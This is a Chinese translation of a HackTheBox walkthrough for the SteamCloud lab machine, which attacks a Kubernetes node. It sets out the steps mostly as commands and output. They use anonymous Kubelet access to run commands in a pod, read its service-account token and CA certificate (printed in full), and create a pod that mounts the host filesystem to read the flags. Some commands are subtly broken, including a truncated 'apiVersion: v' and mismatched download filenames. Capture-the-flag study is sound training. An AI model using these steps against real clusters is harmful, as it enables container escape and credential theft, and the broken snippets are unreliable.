HTB SteamCloud

HackTheBox 次浏览

20240421144115

翻译自官方 Walkthrough

概要

SteamCloud 是一台简单难度的机器。端口扫描显示它有一堆 Kubernetes 特定端口开放。我们无法枚举 Kubernetes API,因为它需要身份验证。现在,由于 Kubelet 允许匿名访问,我们可以通过枚举 Kubelet 服务提取 K8s 集群中所有 pod 的列表。此外,我们可以进入其中一个 pod 并获取用于身份验证到 Kubernetes API 的密钥。现在我们可以创建和生成一个恶意 pod,然后使用 Kubectl 在 pod 中运行命令来读取 root 标志。

技能要求

  • 基本 Linux 知识
  • 基本 Kubernetes 枚举

学到的技能

  • 利用 Kubernetes

枚举

让我们扫描目标 IP,看看我们是否能发现什么值得注意的东西。

nmap 10.129.96.98 --max-retries=0 -T4 -p-
PORT      STATE SERVICE
22/tcp    open  ssh
2379/tcp  open  etcd-client
2380/tcp  open  etcd-server
8443/tcp  open  https-alt
10250/tcp open  unknown

Nmap 显示了几个有趣的端口,SSH 默认端口为 22。Etcd 是一个 Kubernetes 组件,客户端监听端口为 2379,服务器端口为 2380。Kubelet 是一个 Kubernetes 扩展,默认监听端口为 10250,Kubernetes API 监听端口为 8443。让我们看看 Kubernetes API,它在 8443 端口上可访问。

curl https://10.129.96.98:8443/ -k
{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
  "reason": "Forbidden",
  "details": {

  },
  "code": 403
}

输出显示我们无法在未经身份验证的情况下访问主目录,因此让我们继续查看监听在 10250 端口上的 Kubelet 服务。

curl https://10.129.96.98:10250/pods -k
...
0{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-apiserver-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-apiserver-steamcloud",
...

我们能够提取 k8s 集群中的所有 pod。虽然这个服务有几个未记录的 API,但我们可以使用 kubeletctl 与之交互,并找到一种方法进入一个 pod。让我们下载并安装 kubeletctl 二进制文件。

curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd
chmod a+x ./kubeletctl_linux_amd
mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

让我们看看我们是否可以使用 kubeletctl 获取所有 pod。

kubeletctl --server 10.129.96.98 pods

Pods from Kubelet

POD NAMESPACE CONTAINERS
1 coredns-78fcd69978-zbwf9 kube-system coredns
2 nginx default nginx
3 etcd-steamcloud kube-system etcd

成功返回了所有 pod 的列表。

立足点

我们已经知道 Nginx 仅存在于默认命名空间中,不是一个与 Kubernetes 相关的 pod。由于 Kubelet 允许匿名访问,我们可以使用命令 /run/exec/cri,但 curl 没用,因为它只允许 WebSocket 连接。我们可以使用 Kubeletctl 中的 scan rce 命令来确定我们是否可以在任何 pod 上运行命令。

kubeletctl --server 10.129.96.98 scan rce

Node with pods vulnerable to RCE

NODE IP PODS NAMESPACE CONTAINERS RCE
1 10.129.96.98 nginx default nginx +
2 etcd-steamcloud kube-system etcd -

结果表明可以在 Nginx pod 上执行命令。让我们看看我们是否可以在 Nginx 中运行 id。

kubeletctl --server 10.129.96.98 exec "id" -p nginx -c nginx
uid=0(root) gid=0(root) groups=0(root)

命令成功执行,但似乎在这个 pod 上没有用户标志。

提权

现在我们已经成功在 Nginx pod 中执行了一个命令,让我们看看是否可以访问令牌和证书,以便我们可以创建一个具有更高权限的服务帐户。

kubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx
kubeletctl --server 10.129.96.98 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx
eyJhbGciOiJSUzI1NiIsImtpZCI6ImR5VFdmTTk2WnRENW5QVWRfaXF0SFhTV1VVeG9fWkRGQm9hMTN4VlBzRmifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjY4Njk2NzI4LCJpYXQiOjE2MzcxNjA3MjgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJuZ2lueCIsInVpZCI6IjQ5ZWU5NDJiLTIzOGEtNDc4OS1hNWI4LTNiZjEyNDMzZGRkMCJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoiZGVmYXVsdCIsInVpZCI6IjZlZTFmOGM3LWI5ODAtNDQ0Ny04YTQyLWExM2IyOWZmOWUwNSJ9LCJ3YXJuYWZ0ZXIiOjE2MzcxNjQzMzV9LCJuYmYiOjE2MzcxNjA3MjgsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.fjXI9IRBz1YuJTUu-H5Sl_vSt36CRdCgaIjpnd04_Lbz03d9v76lNlzAy6X3H8n1mhsw1_lKuJskgad1e8-b7BaqeVrZk8Kj-7r06xrvYUiIZgJ3AkvR2G-B1Iv1YiyEZymKuDVvBkWLIKgAcl8H0HsJ-kNdeIF9HjdeLIH0M5nzTyRVymiXp61_QkQ8edFNVb3aH2SqKE1nE9hOXcc5uQ8k1djoCOwN-kuPrvnxm6MVQ_xsGgPNU_a2vMJk4zQJBXPi2-LeyDudg2xkjRejcPH6Ia7xrD8jMs0PHYlXk5FBQLZzi2PbIBqHRXIbwvM5JZe5y57OY_UfT3OKQH6Sdw
 -----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIxMTExNTExNDUyOVoXDTMxMTExNDExNDUyOVowFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ5e
vZyukR7NVz3KtzprRBO0oDPOMBPIhOyHfkhVvn1oRtDVyK5ivlvIYdSFUp6OVJGq
3KTGq/cU3UCULcdAm4fUUNddkhuhGyzSnIy80yu9PAnCWqebi3tMykvpNdV7NqAs
aVh+iRLc7I0w9Bi1zU0DvMIDwvEgSbkpd06+aBKfg3P2zbosHUhGyPw5V5nfGhcE
SKdMLyCaEpmJg8hHIMMqDOthTUoVKXxtLUFlYu7GPspXeWIv2CmH383MslUgx5ak
SI57eh9mzPZXVh3cjcJWejoq00LNLoVdm+bdUzn8pvVIxvzellHzQ/IcpLT/GufE
DAFvCfOndI+AOCKu4jMCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBRG6VO+4YmEyjQkvCBG3vYqpneGajANBgkqhkiG9w0BAQsFAAOCAQEAAF2csmso
G+AfEm0U+wAxTNtEkUBdk0seswj7TkQyCwt5qGgX4wctjCo0kwvgmnz5QpWM0t0M
GFoUUWCtIYWCzS/W1QK04PTI9/4IgJOEi584SBCx+/cF4HTSB3+a3dWp9OXd/KP
rkjaZZU2DUZfp4B5brBUmP5h1MTnXJnI+5jcmF7kF6uhE4DgYbMrj7SkG/egT5GX
6cwgh4RhMzdTJxdVCVhjACynSUvg4sllk2YF/0Nda/v3C8gDhUDcO6qyXqfutAGE
MhxgN4lKI0zpxFBTpIwJ3iZemSfh3pY2UqX03ju4TreksGMkX/hZ2NyIMrKDpolD
602eXnhZAL3+dA==
-----END CERTIFICATE-----

访问令牌和证书已经成功获取。

我们可以使用这些登录到 Kubectl 并检查我们有什么样的权限。将证书保存在名为 ca.crt 的文件中,并将令牌导出为环境变量。

export token="eyJhbGciOiJSUz<SNIP>"

然后运行以下命令获取 pod 列表。

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 get pods
NAME    READY   STATUS  RESTARTS    AGE
nginx   1/1     Running 2 (42m ago) 44m

默认服务帐户似乎具有一些基本权限,因此让我们使用 auth can-i 列出所有这些权限。

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 auth can-i --list
Resources                                       Non-Resource URLs  Resource Names  Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                 []              [create]
selfsubjectrulesreviews.authorization.k8s.io    []                 []              [create]
pods                                            []                 []              [get create list]

我们可以在默认命名空间中获取、列出和创建 pod。为了创建一个 pod,我们可以使用 Nginx 镜像。让我们创建一个恶意 pod。将以下 YAML 配置保存在名为 f.yaml 的文件中。

apiVersion: v
kind: Pod
metadata:
    name: nginxt
    namespace: default
spec:
    containers:
    - name: nginxt
      image: nginx:1.14.2
      volumeMounts:
      - mountPath: /root
        name: mount-root-into-mnt
    volumes:
    - name: mount-root-into-mnt
      hostPath:
        path: /
    automountServiceAccountToken: true
    hostNetwork: true

我们使用相同的 Nginx 镜像,并在容器中挂载主机文件系统,以便我们可以访问它。一旦我们创建了它,我们可以使用 Kubeletctl 在 pod 中运行命令。让我们尝试应用配置并查看我们新生成的 pod 是否正在运行。

kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:8443 apply -f f.yaml
kubectl --token=$token --certificate-authority=ca.crt --server=<https://10.129.96.98:8443> get pods
NAME    READY   STATUS  RESTARTS    AGE
nginx   1/1     Running 4 (35m ago) 81m
nginxt  1/1     Running 0           9s

我们的 pod 状态良好,正在运行。现在我们可以同时获取 user 和 root flags。

kubeletctl --server 10.129.96.98 exec "cat /root/home/user/user.txt" -p nginxt -c nginxt
kubeletctl --server 10.129.96.98 exec "cat /root/root/root.txt" -p nginxt -c nginxt